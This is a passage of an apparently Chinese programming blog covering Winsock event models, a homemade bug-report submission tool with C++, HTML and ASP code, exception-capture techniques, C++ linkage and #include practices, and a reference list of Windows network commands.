个通知时使用的窗口句柄。当注册的事件发生时,对应的窗口将收到一个基于消息的通知。
 int WSAAsyncSelect( SOCKET s, HWND hWnd, u_int wMsg, long lEvent);
s为需要事件通知的套接字
hWnd为接收消息的窗口句柄
wMsg为要接收的消息
lEvent为掩码,指定应用程序感兴趣的网络事件组合,主要如下:
#define FD_READ_BIT 0
#define FD_READ (1 << FD_READ_BIT)
#define FD_WRITE_BIT 1
#define FD_WRITE (1 << FD_WRITE_BIT)
#define FD_OOB_BIT 2
#define FD_OOB (1 << FD_OOB_BIT)
#define FD_ACCEPT_BIT 3
#define FD_ACCEPT (1 << FD_ACCEPT_BIT)
#define FD_CONNECT_BIT 4
#define FD_CONNECT (1 << FD_CONNECT_BIT)
#define FD_CLOSE_BIT 5
#define FD_CLOSE (1 << FD_CLOSE_BIT)
用法:要接收读写通知:
int nResult= WSAAsyncSelect(s,hWnd,wMsg,FD_READ|FD_WRITE);
if(nResult==SOCKET_ERROR)
{
  //错误处理
}
取消通知:
 int nResult= WSAAsyncSelect(s,hWnd,0,0);
当应用程序窗口hWnd收到消息时,wMsg.wParam参数标识了套接字,lParam的低字标明
了网络事件,高字则包含错误代码。

4、WSAEventSelect模型
WSAEventSelect模型类似WSAAsynSelect模型,但最主要的区别是网络事件发生时会被发
送到一个事件对象句柄,而不是发送到一个窗口。

使用步骤如下:
a、 创建事件对象来接收网络事件:
#define WSAEVENT HANDLE
#define LPWSAEVENT LPHANDLE
WSAEVENT WSACreateEvent( void );
该函数的返回值为一个事件对象句柄,它具有两种工作状态:已传信(signaled)和未传信
(nonsignaled)以及两种工作模式:人工重设(manual reset)和自动重设(auto reset)。默认未
未传信的工作状态和人工重设模式。

b、将事件对象与套接字关联,同时注册事件,使事件对象的工作状态从未传信转变未
已传信。
 int WSAEventSelect( SOCKET s,WSAEVENT hEventObject,long lNetworkEvents );
s为套接字
hEventObject为刚才创建的事件对象句柄
lNetworkEvents为掩码,定义如上面所述

c、I/O处理后,设置事件对象为未传信
BOOL WSAResetEvent( WSAEVENT hEvent );
Hevent为事件对象

成功返回TRUE,失败返回FALSE。

d、等待网络事件来触发事件句柄的工作状态:
DWORD WSAWaitForMultipleEvents( DWORD cEvents,
const WSAEVENT FAR * lphEvents, BOOL fWaitAll,
DWORD dwTimeout, BOOL fAlertable );
lpEvent为事件句柄数组的指针
cEvent为为事件句柄的数目,其最大值为WSA_MAXIMUM_WAIT_EVENTS
fWaitAll指定等待类型:TRUE:当lphEvent数组重所有事件对象同时有信号时返回;
FALSE:任一事件有信号就返回。
dwTimeout为等待超时(毫秒)
fAlertable为指定函数返回时是否执行完成例程

对事件数组中的事件进行引用时,应该用WSAWaitForMultipleEvents的返回值,减去
预声明值WSA_WAIT_EVENT_0,得到具体的引用值。例如:
nIndex=WSAWaitForMultipleEvents(…);
MyEvent=EventArray[Index- WSA_WAIT_EVENT_0];

e、判断网络事件类型:
int WSAEnumNetworkEvents( SOCKET s,
WSAEVENT hEventObject, LPWSANETWORKEVENTS lpNetworkEvents );
s为套接字
hEventObject为需要重设的事件对象
lpNetworkEvents为记录网络事件和错误代码,其结构定义如下:
typedef struct _WSANETWORKEVENTS {
  long lNetworkEvents;
  int iErrorCode[FD_MAX_EVENTS];
} WSANETWORKEVENTS, FAR * LPWSANETWORKEVENTS;

f、关闭事件对象句柄:
BOOL WSACloseEvent(WSAEVENT hEvent);
调用成功返回TRUE,否则返回FALSE。


 
 

bugreport


//xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
//                          flipcode@msn.com
//xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
有没有发现一些程序在出错时会弹出一个输入框供提交bug?
当你的程序公开使用后必然会出现各种不可预料的错误,如果能捕获并由用户提交回
来就非常有利于我们的除错。
这其实非常简单,下面我们先说一下大致流程,再给出一个bug提交可运作的实例
(这里提供网页提交及程序提交两种处理方法):
流程:
  a. 程序中在可能出错的地方使用异常处理, 在发布版本中打开异常捕获(自己的调试
     版本可以不打开,以免调试不便)。

  b. 当程序出错被捕获时弹出bug提交对话框,确定后调用bugreport把出错信息
     (如:__FILE__,__LINE__)和当时相关环境信息及用户输入文本并发送出去。

  c. 当发送失败时, 将信息累积保存下来供下次出现时一起提交或是由用户手
     动调用bugreport.exe发送或是拷贝到官方网页上直接发送。

具体步骤如下:
一.建设站点(这里我们在自己同一台机上创建作测试):
  1. 安装个人网站服务:
     如果没安装"internet信息服务IIS"就先安装:
     在winxp/nt上安装可打开控面板--添加删除/程序--添加删除windows程序--
     internet信息服务IIS"---下一步到完成.(中途可能要插入系统安装盘)
     在win98上安装则要自己找Personal Web Server安装程序来装(这个只有完整的98安装盘上有带)
     注:缺省成功安装后有这样的目录:  C:\Inetpub\wwwroot。
  2. 激活个人网站服务:
     在控件面板中打开"internet信息服务",双击internet信息服务下面的一项,右击"默认的web站点"
     选"启动"

二.制作上传工具(具体内容付带后面):
  1. 网页提交: 该网页放服务端虚拟目录下供浏览, 如: c:\Inetpub\wwwroot\bugreport.htm

  2. 程序提交: 该程序放客户端供运行, 如: c:\bugreport.exe

三.网站接收程序(具体内容付带后面):
  C:\Inetpub\wwwroot\readbug.asp
四.异常捕捉(此处只作大概说明,具体留给你自己实作)
  try
  {
  }
  catch(...)
  {
      Sav_BugInfo( __FILE__, __LINE__, "void test()" );
  }
  或是把try、catch定义成两个宏方便点。同时我们应该自己定义一个assert
  宏,当断言不成立时同样保存相关信息再抛出,以便上一层
 (如果有的话)接住再抛, 这样就可以把相关堆栈信息保存下来。

五.bug提交
  1. 在开始-运行-输入cmd回车进入虚拟dos下打ipconfig看看ip地址(假设是:192.168.4.25)
  2. 在ie下输入http://192.168.4.25/bugreport.htm回车即可看到一文本框,输入信息点确定。
     此时再打开
  3. c:\bugreport.exe

附:
1. bugreport.htm的内容:
<html>
<head><title> a sample form </title></head>
<FORM METHOD="POST" ACTION="readbug.asp"><P>
内容:<P>
<TEXTAREA NAME="bug" ROWS=20 COLS=72></TEXTAREA><P>
<CENTER><INPUT TYPE=SUBMIT value="发布信息">
<INPUT TYPE=RESET value="清除信息"></CENTER>
</FORM>
</body>
</html>

2. bugreport.exe的内容
//
#include <windows.h>
#include <stdio.h>
#include <Wininet.h>

#pragma comment(lib, "wininet.lib")

bool SendHttpData( const char * szIP, const char* szFile, const void* szData, int nLen )
{
HINTERNET  hInter1 = NULL, hInter2 = NULL, hInter3 = NULL;

// open internet:
hInter1 = InternetOpen( "", 0, NULL, NULL, 0 );
if( !hInter1 ) return false;

// open url:
hInter2 = InternetConnect( hInter1, szIP, 80, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1 );
if( !hInter2 )
{
InternetCloseHandle(hInter1);
return false;
}

// open request:
hInter3 = HttpOpenRequest( hInter2, "POST", szFile, NULL, NULL, NULL, INTERNET_FLAG_EXISTING_CONNECT | INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, 1 );
if( !hInter3 )
{
InternetCloseHandle(hInter2);
InternetCloseHandle(hInter1);
return false;
}

// send:
char szHeader[] = "Accept:*/*\r\n""Content-Type:application/x-www-form-urlencoded\r\n";
int nRes = HttpSendRequest( hInter3, szHeader, strlen(szHeader), (void*)szData, nLen ) ;
if( 0 != nRes )
{
const int BUFFSIZE = 512;
char pcBuffer[BUFFSIZE];
DWORD dwBytesRead;

printf("\nThe following was returned by the server:\n");
do
{ dwBytesRead=0;
if( InternetReadFile ( hInter3, pcBuffer, BUFFSIZE-1, &dwBytesRead ) )
{
pcBuffer[dwBytesRead] = 0x00; // Null-terminate buffer
printf( "%s", pcBuffer );
}
else
printf( "\nInternetReadFile failed" );
}while( dwBytesRead > 0 );
printf( "\n" );
}

// close all:
InternetCloseHandle( hInter3 );
InternetCloseHandle( hInter2 );
InternetCloseHandle( hInter1 );

system( "pause" );

return (0 != nRes);
}

int main(int argc, char *argv[])
{
char szIp[]   = "192.168.4.25";
char szFile[] = "Readbug.asp";
char szData[] = "bug=test only\n";
int  nLen     = strlen(szData);

SendHttpData( szIp, szFile, szData, nLen );

return 0;
}

3. Readbug.asp的内容:
<%@ LANGUAGE="VBSCRIPT" %>
<%
   'Increase Script Timeout to 10 hours(36000minute), default timeout is 20 minutes
   Server.ScriptTimeout = 36000
   bug = Request.FORM( "bug" )
   set fsFilesys=CreateObject( "Scripting.FileSystemObject" )
   bugfile = "c:\bug.txt"
   bug = bug & "[" & Now & "]"
   if fsFilesys.FileExists( bugfile ) then
      Set tsCoffee=fsFilesys.OpenTextFile( bugfile, 8 )
   else
      set tsCoffee=fsFilesys.CreateTextFile( bugfile, true )
   end if
   tsCoffee.WriteLine( bug )
   tsCoffee.Close

   ' Send results back to client
   Response.Write " bytes were read."
%>

注:
bugreport.htm中的FORM下的name对应就是我们在 Readbug.asp中的"bug"
而bugreport.exe中的char szData[] = "bug=test only\n"中的bug也是
对应Readbug.asp中的"bug"。如果有必要可以使用多个,在Readbug.asp
再存进数据库中。

这里要感谢一下xum大哥,我最初是从他那里大体上知道这个方法的。


[续:]
下面说说异常的捕获,主要介绍3种不同的方法:
1. try catch 的方法:
   主要思想:
       通过在可能出错的地方添加异常捕获陷井,捕获到则保留现场(记录出错的文件名行数等)
   再往外一层层的抛,一层层的记录。(主要是为了得到相关堆栈信息)。
   这种方法为了得到真正出错的地方将会导致随处可见的try catch,另外使用异常必须面对效率问题。
   当前正在运营的一个大型网游的工程中使用了此法:大部分的函数开始处都用到try,函数结束时用了catch(..),
   而实际验证效果还不错,帮助解决了很多bug。

   具体实现方法:
       下面是大概的代码,一堆堆的宏,很难看,只为说明问题:)
// debug using:
#if defined(_DEBUG) && (defined(WIN32) || defined(__WIN32__))
#ifndef MAKE_BREAK_POINT
#define MAKE_BREAK_POINT \
{ \
{ __asm int 3 } \
}
#endif
#else
#define MAKE_BREAK_POINT
#endif
   
#ifdef  X_TRY_EXCEPTION
#pragma message( "[X_TRY_EXCEPTION]_______USE_TRY_EXCEPTION_______" )

#ifndef __CLASS__
#pragma message( "[X_TRY_EXCEPTION]_______COMPILER_NOT_DEFINE_MACRO(__CLASS__)_______" )
#define __CLASS__ "??" // For systems that don't have the __FUNCTION__ variable, we can just define it here
#endif

#ifndef __FUNCTION__
#pragma message( "[X_TRY_EXCEPTION]_______COMPILER_NOT_DEFINE_MACRO(__FUNCTION__)_______" )
#define __FUNCTION__ "??" // For systems that don't have the __FUNCTION__ variable, we can just define it here
#endif

#ifdef RECORD_BUG
#undef RECORD_BUG
#endif
#define RECORD_BUG( szTxt, nDepth ) \
{ \
char szTmp[128]; \
        int nLine = __LINE__; \
std::string strBug = "<p>----------------------------------------------------------------------------<p>"; \
sprintf( szTmp, "try_catch_depth:%d<p>", nDepth ); \
strBug += szTmp; \
strBug += szTxt; \
strBug += "<p>Local at:"; \
strBug += "<p>file:     "; \
strBug += __FILE__; \
strBug += "<p>FUNCTION: "; \
strBug += __FUNCTION__; \
strBug += "<p>LINE:     "; \
        sprintf( szTmp, "%d", nLine ); \
strBug += szTmp; \
strBug += "<p>"; \
XUTIL::AddBugInfo( strBug.data() ); \
}
#ifdef X_TRY
#undef X_TRY
#endif
#define X_TRY try {

#ifdef X_CATCH_INFO
#undef X_CATCH_INFO
#endif
#define X_CATCH_INFO(xx) } \
catch( int nDepth ) \
{ \
RECORD_BUG(xx ## "<p>[TYPE]: k_GetThrow_Error:", ++nDepth); \
throw nDepth; \
} \
catch(...) \
{ \
MAKE_BREAK_POINT \
RECORD_BUG(xx ## "<p>[TYPE]: k_Try_Error:", 0); \
throw 0; \
}

#ifdef X_CATCH
#undef X_CATCH
#endif
#define X_CATCH \
X_CATCH_INFO("")

#ifdef X_ASSERT
#undef X_ASSERT
#endif
#define X_ASSERT(x) \
{ \
if( !(x) ) \
{ \
MAKE_BREAK_POINT \
RECORD_BUG("[TYPE]: X_ASSERT_Error:" #x, 0); \
throw 0; \
} \

#else
#define X_TRY
#define X_CATCH
#define X_CATCH_INFO(xx)
#define X_ASSERT(x) { \
}
#endif

2. map 映射法:
   主要思想:
       编译工程时打开map一些相关开关,build后就会输出相关文件信息到指定的map文件中,
   每发布一个版本就保存对应的map文件,当程序在用户运行时出错时系统跳出错误框,
   根据报告的出错地址从对应版本的map文件中可找到对应出错的信息(能找到出错代码的位置)。
   (注:一般PE文件内容映射到内存中(image)的相对位置是一致的,PE储存内容大致:
    DOS-stub(小程序,用于在纯dos下运行该程序时打印出错提示并退出)、
    nt_header(file-header、optional header、 data directories,主要记录文件格式标志、版本、时间、RVA等等)
    sections(包括.text代码和.data数据资源及bss section及导入导出表(IAT、EAT)(也许在深入浅出dll那文章的后续会讲一下这部份)等等)、 
    debug_info( 这里应该是调试器用的debug信息 )
   map映射出来的内容就有包括上述格式中的一些内容。如sections中的.text, .data及输入输出
   函数及偏移位置等等。
   可参考相关PE格式的文章,
   如《Windows 95 System Programming Secrets》可到侯杰网站下载电子版)。
   具体实现方法:
       上面说了很多,其实看看老罗的文章:http://www.luocong.com/articles/show_article.asp?Article_ID=29   就知道实现很简单。另一篇英文的参见:http://www.codeproject.com/debug/mapfile.asp

再一篇 "对“仅通过崩溃地址找出源代码的出错行”一文的补充与改进"中说明了使用Listing Files的方法,参见:

http://www.vckbase.com/document/viewdoc/?id=1473

   注: 
       vc6及vc7下测试通过(处理有点点不同), win2000和xp下同样测试通过, 只是xp下的出错框出错地址信息有点不同,显示的是偏移(不用减去基址,只需减去pe加载偏移1000即可), 此外不用老罗的行号算法也可以找到精确的位置,只要在vc下按下alt+8打开反汇编即可看到对应精确的地址.
   

3. seh(结构化异常处理) 大法:
   系统会用到seh进行一些异常处理(通常这个可用在溢出攻击,反跟踪等,具体网上有一大堆文章)
   主要思想:
       我们在程序开始处调用SetUnhandledExceptionFilter安装了最后异常处理例程,
   当程序发生异常而未被处理的时,系统就会转向对它的调用。这时我们利用SEH获得异常时的相关信息,
   并存储或转发到我们的网站。
   具体实现方法:
       参见大牛的代码:http://www.vckbase.com/code/listcode.asp?mclsid=23&;sclsid=2303
   注: 
       在调试中安装的最后异常处理例程无法捕获到出错异常。(因为我安装的是最后异常处理全程,
   而这时异常被调试器捕获了)。 直接运行则可捕获异常。另外如果你在build时生成*.pdb文件的话
   则可捕获到堆栈的信息而无论是否调试版只要你指选项生成debug信息,并在发行版本中把对应的*.pdb
   (vc编译器生成的供调试信息文件,用ultraedit打开exe文件在最后可看到有记录*.pdb文件路径,不过
   系统还是会优先考虑当前路径上找,所以你只要把*.pdb放在exe同一目录下),但是在98下我测试无法
   得到堆栈的信息(用的vc6),why?
   
4. 待续,
   上述第3点已经很不错了,但98下我还得不到堆栈的信息,所以待续,如果有好想法的话。。。

flipcode 2004-12-5 14:09:29

 注册: 2004-5    状态: online

编译器处理


编译器处理:
    flipcode@msn.com
一.预处理器-编译器-汇编器-链接器
  预处理器会处理相关的预处理指令,一般是以"#"开头的指令。如:#include "xx.h" #define等。
  编译器把对应的*.cpp翻译成*.s文件(汇编语言)。
  汇编器则处理*.s生成对应的*.o文件(obj目标文件)
  最后链接器把所有的*.o文件链接成一个可执行文件(?.exe)

  1.部件:
      首先要知道部件(可以暂且狭义地理解为一个类)一般分为头文件(我喜欢称为接口,如:*.h)及实现文件(如:*.cpp)。
  一般头文件会是放一些用来作声明的东东作为接口而存在的。
  而实现文件主要是实现的具体代码。

  2.编译单个文件:
      记住IDE在bulid文件时只编译实现文件(如*.cpp)来产生obj,在vc下你可以对某个?.cpp按下ctrl+f7单独编译它
  生成对应一个?.obj文件。在编译?.cpp时IDE会在?.cpp中按顺序处理用#include包括进来的头文件
  (如果该头文件中又#include有文件,同样会按顺序跟进处理各个头文件,如此递归。。)

  3.内部链接与外部链接:
      内、外链接是比较基础的东东,但是也是新手最容易错的地方,所以这里有必要祥细讨论一下。
      内部链接产生的符号只在本地?.obj中可见,而外部链接的符号是所有*.obj之间可见的。
    如:用inline的是内部链接,在文件头中直接声明的变量、不带inline的全局函数都是外部链接。
    在文件头中类的内部声明的函数(不带函数体)是外部链接,而带函数体一般会是内部链接(因为IDE会尽量把它作为内联函数)
    认识内部链接与外部链接有什么作用呢?下面用vc6举个例子:
    // 文件main.cpp内容:
    void main(){}
    // 文件t1.cpp内容:
    #include "a.h"
    void Test1(){ Foo(); }
    // 文件t2.cpp内容:
    #include "a.h"
    void Test2(){ Foo(); }
    // 文件a.h内容:
    void Foo( ){ }
    好,用vc生成一个空的console程序(File - new - projects - win32 console application),并关掉预编译选项开关
    (project - setting - Cagegory:precompiled Headers - Not using precompiled headers)
    现在你打开t1.cpp按ctrl+f7编译生成t1.obj通过
    打开t2.cpp按ctrl+f7编译生成t2.obj通过
    而当你链接时会发现:
    Linking...
    t2.obj : error LNK2005: "void __cdecl Foo(void)" (?Foo@@YAXXZ) already defined in t1.obj
    这是因为:
    1. 编译t1.cpp在处理到#include "a.h"中的Foo时看到的Foo函数原型定义是外部链接的,所以在t1.obj中记录Foo符号是外部的。
    2. 编译t2.cpp在处理到#include "a.h"中的Foo时看到的Foo函数原型定义是外部链接的,所以在t2.obj中记录Foo符号是外部的。
    3. 最后在链接 t1.obj 及 t2.obj 时, vc发现有两处地方(t1.obj和t2.obj中)定义了相同的外部符号(注意:是定义,外部符号可以
    多处声明但不可多处定义,因为外部符号是全局可见的,假设这时有t3.cpp声明用到了这个符号就不知道应该调用t1.obj
    中的还是t2.obj中的了),所以会报错。
    解决的办法有几种: 
        a.将a.h中的定义改写为声明,而用另一个文件a.cpp来存放函数体。(提示:把上述程序改来试试)
    (函数体放在其它任何一个cpp中如t1.cpp也可以,不过良好的习惯是用对应cpp文件来存放)。
    这时包括a.h的文件除了a.obj中有函数体代码外,
    其它包括a.h的cpp生成的obj文件都只有对应的符号而没有函数体,如t1.obj、t2.obj就只有符号,当最后链接时IDE会把
    a.obj的Foo()函数体链接进exe文件中,并把t1.obj、t2.obj中的Foo符号转换成对应在函数体exe文件中的地址。
     另外:当变量放在a.h中会变成全局变量的定义,如何让它变为声明呢?
     例如: 我们在a.h中加入:class CFoo{};CFoo* obj;
     这时按f7进行build时出现:
     Linking...
     t2.obj : error LNK2005: "class CFoo *  obj" (?obj@@3PAVCFoo@@A) already defined in t1.obj
     一个好办法就是在a.cpp中定义此变量( CFoo* obj;),然后拷贝此定义到a.h文件中并在前面加上extern(extern CFoo* obj;)
     如此就可通过了。当然extern也可以在任何调用此变量的位置之前声明,不过强烈建议不要这么作,因为到处作用extern,会
     导致接口不统一。良好的习惯是接口一般就放到对应的头文件。
        
        b. 将a.h中的定义修改成内部链接,即加上inline关键字,这时每个t1.obj和t2.obj都存放有一份Foo函数体,但它们不是外部
    符号,所以不会被别的obj文件引用到,故不存在冲突。(提示:把上述程序改来试试)
    另外我作了个实验来验证”vc是把是否是外部符号的标志记录在obj文件中的“(有点绕口)。可以看看,如下:
     (1)文件内容:
    // 文件main.cpp内容:
    void main(){}
    // 文件t1.cpp内容:
    #include "a.h"
    void Test1(){ Foo(); }
    // 文件t2.cpp内容:
    #include "a.h"
    void Test2(){ Foo(); }
    // 文件a.h内容:
    inline void Foo( ){ }
    (2) 选t1.cpp按ctrl+f7单独编译,并把编译后的t1.obj修改成t1.obj_inline
    (3) 选t2.cpp按ctrl+f7单独编译,并把编译后的t2.obj修改成t2.obj_inline
    (4) 把除了t1.obj_inline及t2.obj_inline外的其它编译生成的文件删除。
    (5) 修改a.h内容为:void Foo( ){ },使之变为非内联函数作测试
    (6) rebuild all所有文件。这时提示:
Linking...
t2.obj : error LNK2005: "void __cdecl Foo(void)" (?Foo@@YAXXZ) already defined in t1.obj
Debug/cle.exe : fatal error LNK1169: one or more multiply defined symbols found
    (7) 好,看看工程目录下的debug目录中会看到新生成的obj文件。
下面我们来手工链接看看,
打开菜单中的project - setting - Link,拷贝Project options下的所有内容,如下:
kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /incremental:yes /pdb:"Debug/cle.pdb" /debug /machine:I386 /out:"Debug/cle.exe" /pdbtype:sept 
把它修改成:
Link.exe kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /incremental:yes /pdb:"Debug/cle.pdb" /debug /machine:I386 /out:"Debug/cle.exe" /pdbtype:sept Debug/t1.obj Debug/t2.obj Debug/main.obj
pause
注意前面多了Link.exe,后面多了Debug/t1.obj Debug/t2.obj Debug/main.obj以及
最后一个pause批处理命令,然后把它另存到工程目录(此目录下会看到debug目录)下起名为link.bat
运行它,就会看到:
t2.obj : error LNK2005: "void __cdecl Foo(void)" (?Foo@@YAXXZ) already defined i
n t1.obj
Debug/cle.exe : fatal error LNK1169: one or more multiply defined symbols found
很好,我们链接原来的obj文件得到的效果跟在vc中用rebuild all出来的效果一样。那么现在如果
我们把备份出来的t1.obj_inline覆盖t1.obj而t2.obj_inline覆盖t2.obj再手动链接应该会是
不会出错的,因为原t1.obj_inline及t2.obj_inline中存放的是内部链接符号。好运行Link.bat,果然
不出所料,链接成功了,看看debug目录下多出了一个exe文件。这就说明了内或外符号在obj有标志标识!
(提示:上述为什么不用vc的f7build链接呢,因为文件时间改变了,build会重新生成新的obj,
所以我们用手动链接保证obj不变)[注:obj信息可用dumpbin.exe查看]


  4.#include规则:
       有很多人不知道#include 文件该放在何处?

    1). 增强部件自身的完整性:
     为了保证部件的完整性,部件的cpp实现文件(如test.cpp)中第一个#include的应当是它自身对应的头文件(如test.h)。
    (除非你用预编译头文件, 预编译头必须放在第一个)。这样就保证了该部件头文件(test.h)所必须依赖的其它接口(如a.h等)要放到它对应的文件头中(test.h),而不是在cpp中(test.cpp)把所依赖的其它头文件(a.h等)移到其自身对应的头文件(test.h等)之前(因为这样强迫其它包括此部件的头文件(test.h)的文件(b.cpp)也必须再写一遍include(即b.cpp若要#include "test.h"也必须#include "a.h")”。另外我们一般会尽量减少文件头之间的依赖关系,看下面:

    2). 减少部件之间的依赖性:
    在1的基础上尽量把#include到的文件放在cpp中包括。
    这就要求我们一般不要在头文件中直接引用其它变量的实现,而是把此引用搬到实现文件中。
    例如: 
    // 文件foo.h:
    class CFoo{
       void Foo(){}
    };
    // 文件test.h:
    #include "foo.h"
    class CTest{
       CFoo*   m_pFoo;
    public:
       CTest() : m_pFoo(NULL){}
       void Test(){ if(m_pFoo){ m_pFoo->Foo();}}
       ...........
    };
    // 文件test.cpp:
    #include "test.h"
    .....
    
    如上文件test.h中我们其实可以#include "foo.h"移到test.cpp文件中。因为CFoo* m_pFoo我们只想在部件CTest中用到,
    而将来想用到CTest部件而包括test.h的其它部件没有必要见到foo.h接口,所以我们用前向声明修改原文件如下:
   // 文件foo.h:
   class CFoo{
public:
       void Foo(){}
   };
   // 文件test.h:
   class CFoo;
   class CTest{
       CFoo*   m_pFoo;
   public:
      CTest();
      void Test();
     //........
   };
   // 文件test.cpp:
   #include "test.h" // 这里第一个放该部件自身对应的接口头文件
   #include "foo.h"  // 该部件用到了foo.h
   CTest::CTest() : m_pFoo(0){ 
m_pFoo = new CFoo; 
   }
   void CTest::Test(){ 
if(m_pFoo){ 
m_pFoo->Foo();
}
   }
   //.....
   // 再加上main.cpp来测试:
   #include "test.h" // 这里我们就不用见到#include "foo.h"了
   CTest test;
   void main(){
test.Test();
   }

   3). 双重包含卫哨:
  在文件头中包括其它头文件时(如:#include "xx.h")建议也加上包含卫哨:
   // test.h文件内容:
   #ifndef __XX1_H_
   #include "xx1.h"
   #endif
   #ifndef __XX2_H_
   #include "xx2.h"
   #endif
   ...... 
  
   虽然我们已经在xx.h文件中开头已经加过,但是因为编译器在打开#include文件也
   是需要时间的,如果在外部加上包含卫哨,对于很大的工程可以节省更多的编译时间。

  5.待续(还有很多相关的东东,比如不同dll工程之间符号导出问题等等,有空再写)
    

flipcode 2004-12-5 14:21:33
8月30日

windows网络命令大全

[来源:http://spaces.msn.com/members/nirvanawjj/Blog/cns!1pXEgsAdtzKuzmRrcgOJ_1dg!130.entry]

windows网络命令大全


网络命令行操作

Windows 2k/2003 Server
1.最基本,最常用的,测试物理网络的
ping 192.168.10.88 -t ,参数-t是等待用户去中断测试

2.查看DNS、IP、Mac等
A.Win98:winipcfg
B.Win2000以上:Ipconfig/all

C.NSLOOKUP:如查看河北的DNS
C:\\>nslookup
Default Server: ns.hesjptt.net.cn
Address: 202.99.160.68
>server 202.99.41.2 则将DNS改为了41.2
> pop.pcpop.com
Server: ns.hesjptt.net.cn
Address: 202.99.160.68

Non-authoritative answer:
Name: pop.pcpop.com
Address: 202.99.160.212

3.网络信使
Net send 计算机名/IP|* (广播) 传送内容,注意不能跨网段
net stop messenger 停止信使服务,也可以在面板-服务修改
net start messenger 开始信使服务

4.探测对方对方计算机名,所在的组、域及当前用户名
ping -a IP -t ,只显示NetBios名
nbtstat -a 192.168.10.146 比较全的

5.netstat -a 显示出你的计算机当前所开放的所有端口
netstat -s -e 比较详细的显示你的网络资料,包括TCP、UDP、ICMP 和 IP的统计等

6.探测arp绑定(动态和静态)列表,显示所有连接了我的计算机,显示对方IP和MAC地址
arp -a

7.在代理服务器端
捆绑IP和MAC地址,解决局域网内盗用IP:
ARP -s 192.168.10.59 00-50-ff-6c-08-75
解除网卡的IP与MAC地址的绑定:
arp -d 网卡IP

8.在网络邻居上隐藏你的计算机
net config server /hidden:yes
net config server /hidden:no 则为开启

9.几个net命令
A.显示当前工作组服务器列表 net view,当不带选项使用本命令时,它就会显示当前域或网络上的计算机上的列表。
比如:查看这个IP上的共享资源,就可以
C:\\>net view 192.168.10.8
在 192.168.10.8 的共享资源
资源共享名 类型 用途 注释
--------------------------------------
网站服务 Disk
命令成功完成。

B.查看计算机上的用户帐号列表 net user
C.查看网络链接 net use
例如:net use z: \\\\192.168.10.8\\movie 将这个IP的movie共享目录映射为本地的Z盘

D.记录链接 net session
例如:
C:\\>net session
计算机 用户名 客户类型 打开空闲时间
-------------------------------------------------------------------------------
\\\\192.168.10.110 ROME Windows 2000 2195 0 00:03:12

\\\\192.168.10.51 ROME Windows 2000 2195 0 00:00:39
命令成功完成。

10.路由跟踪命令
A.tracert pop.pcpop.com
B.pathping pop.pcpop.com 除了显示路由外,还提供325S的分析,计算丢失包的%

11.关于共享安全的几个命令
A.查看你机器的共享资源 net share
B.手工删除共享
net share c$ /d
net share d$ /d
net share ipc$ /d
net share admin$ /d
注意$后有空格。
C.增加一个共享:
c:\\net share mymovie=e:\\downloads\\movie /users:1
mymovie 共享成功。
同时限制链接用户数为1人。

12.在DOS行下设置静态IP
A.设置静态IP
CMD
netsh
netsh>int
interface>ip
interface ip>set add "本地链接" static IP地址 mask gateway
B.查看IP设置
interface ip>show address

Arp
显示和修改“地址解析协议 (ARP)”缓存中的项目。ARP 缓存中包含一个或多个表,它们用于存储 IP 地址及其经过解析的以太网或令牌环物理地址。计算机上安装的每一个以太网或令牌环网络适配器都有自己单独的表。如果在没有参数的情况下使用,则 arp 命令将显示帮助信息。

语法
arp [-a [InetAddr] [-N IfaceAddr] [-g [InetAddr] [-N IfaceAddr] [-d InetAddr [IfaceAddr] [-s InetAddr EtherAddr [IfaceAddr]

参数
-a [InetAddr] [-N IfaceAddr]
显示所有接口的当前 ARP 缓存表。要显示指定 IP 地址的 ARP 缓存项,请使用带有 InetAddr 参数的 arp -a,此处的 InetAddr 代表指定的 IP 地址。要显示指定接口的 ARP 缓存表,请使用 -N IfaceAddr 参数,此处的 IfaceAddr 代表分配给指定接口的 IP 地址。-N 参数区分大小写。
-g [InetAddr] [-N IfaceAddr]
与 -a 相同。
-d InetAddr [IfaceAddr]
删除指定的 IP 地址项,此处的 InetAddr 代表 IP 地址。对于指定的接口,要删除表中的某项,请使用 IfaceAddr 参数,此处的 IfaceAddr 代表分配给该接口的 IP 地址。要删除所有项,请使用星号 通配符代替 InetAddr。
-s InetAddr EtherAddr [IfaceAddr]
向 ARP 缓存添加可将 IP 地址 InetAddr 解析成物理地址 EtherAddr 的静态项。要向指定接口的表添加静态 ARP 缓存项,请使用 IfaceAddr 参数,此处的 IfaceAddr 代表分配给该接口的 IP 地址。
/?
在命令提示符显示帮助。
注释
InetAddr 和 IfaceAddr 的 IP 地址用带圆点的十进制记数法表示。
物理地址 EtherAddr 由六个字节组成,这些字节用十六进制记数法表示并且用连字符隔开(比如,00-AA-00-4F-2A-9C)。
通过 -s 参数添加的项属于静态项,它们不会 ARP 缓存中超时。如果终止 TCP/IP 协议后再启动,这些项会被删除。要创建永久的静态 ARP 缓存项,请在批处理文件中使用适当的 arp 命令并通过“计划任务程序”在启动时运行该批处理文件。
只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。
范例
要显示所有接口的 ARP 缓存表,可键入:

arp -a

对于指派的 IP 地址为 10.0.0.99 的接口,要显示其 ARP 缓存表,可键入:

arp -a -N 10.0.0.99

要添加将 IP 地址 10.0.0.80 解析成物理地址 00-AA-00-4F-2A-9C 的静态 ARP 缓存项,可键入:

arp -s 10.0.0.80 00-AA-00-4F-2A-9C

At
计划在指定时间和日期在计算机上运行命令和程序。at 命令只能在“计划”服务运行时使用。如果在没有参数的情况下使用,则 at 列出已计划的命令。

语法
at [\\\\ComputerName] [{[ID] [/delete]|/delete [/yes]}]

